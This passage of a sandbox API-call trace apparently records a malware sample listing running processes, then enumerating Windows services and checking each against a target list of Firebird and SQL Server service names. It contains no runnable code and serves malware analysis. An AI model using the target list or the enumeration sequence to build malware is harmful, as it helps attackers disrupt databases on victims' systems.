out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.181] lstrlenW (lpString="svchost.exe") returned 11 [0184.181] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.181] lstrlenW (lpString="svchost.exe") returned 11 [0184.181] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0184.183] lstrlenW (lpString="dwm.exe") returned 7 [0184.183] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.183] lstrlenW (lpString="svchost.exe") returned 11 [0184.183] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.184] lstrlenW (lpString="svchost.exe") returned 11 [0184.184] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.184] lstrlenW (lpString="svchost.exe") returned 11 [0184.184] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.185] lstrlenW (lpString="svchost.exe") returned 11 [0184.185] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.185] lstrlenW (lpString="svchost.exe") returned 11 [0184.185] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.186] lstrlenW (lpString="svchost.exe") returned 11 [0184.186] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.186] lstrlenW (lpString="svchost.exe") returned 11 [0184.186] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.187] lstrlenW (lpString="svchost.exe") returned 11 [0184.187] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.187] lstrlenW (lpString="svchost.exe") returned 11 [0184.187] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.188] lstrlenW (lpString="svchost.exe") returned 11 [0184.188] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0184.188] lstrlenW (lpString="spoolsv.exe") returned 11 [0184.188] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.189] lstrlenW (lpString="svchost.exe") returned 11 [0184.189] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0184.189] lstrlenW (lpString="audiodg.exe") returned 11 [0184.190] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0184.190] lstrlenW (lpString="sihost.exe") returned 10 [0184.190] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.191] lstrlenW (lpString="svchost.exe") returned 11 [0184.191] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0184.191] lstrlenW (lpString="taskhostw.exe") returned 13 [0184.191] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0184.192] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0184.192] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0184.192] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0184.192] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0184.193] lstrlenW (lpString="Memory Compression") returned 18 [0184.193] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0184.193] lstrlenW (lpString="explorer.exe") returned 12 [0184.193] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0184.194] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0184.194] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0184.194] lstrlenW (lpString="SearchUI.exe") returned 12 [0184.194] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0184.195] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0184.195] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0184.195] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0184.195] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0184.196] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0184.196] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0184.196] lstrlenW (lpString="dllhost.exe") returned 11 [0184.196] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0184.197] CloseHandle (hObject=0x454) returned 1 [0184.197] Sleep (dwMilliseconds=0x1f4) [0184.930] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e1e0 [0184.931] EnumServicesStatusExW (in: hSCManager=0x408e1e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0184.931] GetLastError () returned 0xea [0184.931] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4121fa0 [0184.932] EnumServicesStatusExW (in: hSCManager=0x408e1e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4121fa0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4121fa0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0184.933] CloseServiceHandle (hSCObject=0x408e1e0) returned 1 [0184.934] lstrlenW (lpString="Appinfo") returned 7 [0184.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0184.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0184.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0184.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0184.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0184.934] lstrlenW (lpString="AppXSvc") returned 7 [0184.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0184.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0184.934] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0184.934] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0184.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0184.934] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0184.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.934] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0184.934] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0184.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0184.934] lstrlenW (lpString="Audiosrv") returned 8 [0184.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0184.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0184.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0184.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0184.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0184.935] lstrlenW (lpString="BFE") returned 3 [0184.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0184.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0184.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0184.935] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0184.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0184.935] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0184.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0184.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0184.935] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0184.935] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0184.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0184.935] lstrlenW (lpString="CDPSvc") returned 6 [0184.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0184.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0184.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0184.935] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0184.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0184.935] lstrlenW (lpString="ClickToRunSvc") returned 13 [0184.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0184.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0184.935] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0184.935] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0184.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0184.935] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0184.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0184.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0184.935] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0184.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0184.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0184.936] lstrlenW (lpString="CryptSvc") returned 8 [0184.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0184.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0184.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0184.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0184.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0184.936] lstrlenW (lpString="DcomLaunch") returned 10 [0184.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0184.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0184.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0184.936] lstrlenW (lpString="DeviceAssociationService") returned 24 [0184.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0184.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0184.936] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0184.936] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0184.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0184.936] lstrlenW (lpString="Dhcp") returned 4 [0184.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0184.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0184.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0184.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0184.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0184.936] lstrlenW (lpString="Dnscache") returned 8 [0184.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0184.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0184.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0184.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0184.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0184.937] lstrlenW (lpString="DPS") returned 3 [0184.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0184.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0184.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0184.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0184.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0184.937] lstrlenW (lpString="DusmSvc") returned 7 [0184.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0184.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0184.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0184.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0184.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0184.937] lstrlenW (lpString="EventLog") returned 8 [0184.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0184.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0184.937] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0184.937] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0184.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0184.937] lstrlenW (lpString="EventSystem") returned 11 [0184.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0184.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0184.937] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0184.937] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0184.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0184.938] lstrlenW (lpString="FontCache") returned 9 [0184.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0184.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0184.938] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0184.938] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0184.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0184.938] lstrlenW (lpString="gpsvc") returned 5 [0184.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0184.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0184.938] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0184.938] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0184.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0184.938] lstrlenW (lpString="iphlpsvc") returned 8 [0184.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.938] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0184.938] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0184.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0184.938] lstrlenW (lpString="KeyIso") returned 6 [0184.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0184.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0184.938] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0184.938] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0184.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0184.938] lstrlenW (lpString="LanmanServer") returned 12 [0184.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0184.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0184.938] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0184.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0184.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0184.939] lstrlenW (lpString="LanmanWorkstation") returned 17 [0184.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0184.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0184.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0184.939] lstrlenW (lpString="lfsvc") returned 5 [0184.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0184.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0184.939] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0184.939] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0184.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0184.939] lstrlenW (lpString="lmhosts") returned 7 [0184.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0184.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0184.939] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0184.939] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0184.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0184.939] lstrlenW (lpString="LSM") returned 3 [0184.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0184.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0184.939] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0184.939] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0184.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0184.939] lstrlenW (lpString="MpsSvc") returned 6 [0184.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0184.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0184.940] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0184.940] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0184.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0184.940] lstrlenW (lpString="NcbService") returned 10 [0184.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0184.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0184.940] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0184.940] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0184.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0184.940] lstrlenW (lpString="netprofm") returned 8 [0184.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0184.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0184.940] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0184.940] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 